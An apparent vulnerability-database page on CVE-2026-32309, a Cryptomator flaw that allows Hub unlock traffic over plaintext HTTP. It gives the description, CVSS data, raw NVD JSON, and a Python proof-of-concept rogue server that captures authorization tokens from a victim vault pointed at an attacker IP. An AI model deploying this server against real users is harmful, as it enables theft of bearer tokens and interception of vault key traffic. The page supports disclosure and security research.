Security Vulnerability Report
中文
CVE-2026-32309 CVSS 7.5 HIGH

CVE-2026-32309

Published: 2026-03-20 19:16:16
Last Modified: 2026-03-27 16:16:24

Description

Cryptomator encrypts data being stored on cloud infrastructure. Prior to version 1.19.1, the Hub-based unlock flow explicitly supports hub+http and consumes Hub endpoints from vault metadata without enforcing HTTPS. As a result, a vault configuration can drive OAuth and key-loading traffic over plaintext HTTP or other insecure endpoint combinations. An active network attacker can tamper with or observe this traffic. Even when the vault key is encrypted for the device, bearer tokens and endpoint-level trust decisions are still exposed to downgrade and interception. This issue has been patched in version 1.19.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:cryptomator:cryptomator:*:*:*:*:*:*:*:* - VULNERABLE
Cryptomator < 1.19.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import http.server import socketserver # This script sets up a rogue HTTP server to simulate an interception point. # In a real attack scenario, the victim's vault config would be modified to point to this server. class RogueHubHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): print(f"[+] Intercepted request path: {self.path}") print(f"[+] Headers received:") for header, value in self.headers.items(): print(f" {header}: {value}") # Look for Authorization tokens if 'authorization' in header.lower() or 'token' in header.lower(): print(f" [!] SENSITIVE TOKEN FOUND: {value}") # Send a fake response to keep the connection alive or trigger specific behavior self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(b'{"status": "intercepted"}') if __name__ == "__main__": PORT = 8080 with socketserver.TCPServer(("0.0.0.0", PORT), RogueHubHandler) as httpd: print(f"[*] Rogue HTTP Hub listening on port {PORT}...") print(f"[*] Configure Cryptomator vault to use http://<attacker_ip>:{PORT}") httpd.serve_forever()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32309", "sourceIdentifier": "[email protected]", "published": "2026-03-20T19:16:15.733", "lastModified": "2026-03-27T16:16:24.147", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cryptomator encrypts data being stored on cloud infrastructure. Prior to version 1.19.1, the Hub-based unlock flow explicitly supports hub+http and consumes Hub endpoints from vault metadata without enforcing HTTPS. As a result, a vault configuration can drive OAuth and key-loading traffic over plaintext HTTP or other insecure endpoint combinations. An active network attacker can tamper with or observe this traffic. Even when the vault key is encrypted for the device, bearer tokens and endpoint-level trust decisions are still exposed to downgrade and interception. This issue has been patched in version 1.19.1."}, {"lang": "es", "value": "Cryptomator cifra los datos almacenados en infraestructura en la nube. Antes de la versión 1.19.1, el flujo de desbloqueo basado en Hub soporta explícitamente hub+http y consume puntos finales de Hub de los metadatos de la bóveda sin forzar HTTPS. Como resultado, una configuración de bóveda puede dirigir tráfico de OAuth y carga de claves sobre HTTP en texto plano o sobre otras combinaciones de puntos finales inseguras. Un atacante de red activo puede manipular u observar este tráfico. Incluso cuando la clave de la bóveda está cifrada para el dispositivo, los tokens de portador y las decisiones de confianza a nivel de punto final aún están expuestos a degradación e interceptación. Este problema ha sido parcheado en la versión 1.19.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cryptomator:cryptomator:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.19.1", "matchCriteriaId": "039991F9-B02C-4F96-B022-2ACFD48A068C"}]}]}], "references": [{"url": "https://github.com/cryptomator/cryptomator/releases/tag/1.19.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/cryptomator/cryptomator/security/advisories/GHSA-vv33-h7qx-c264", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}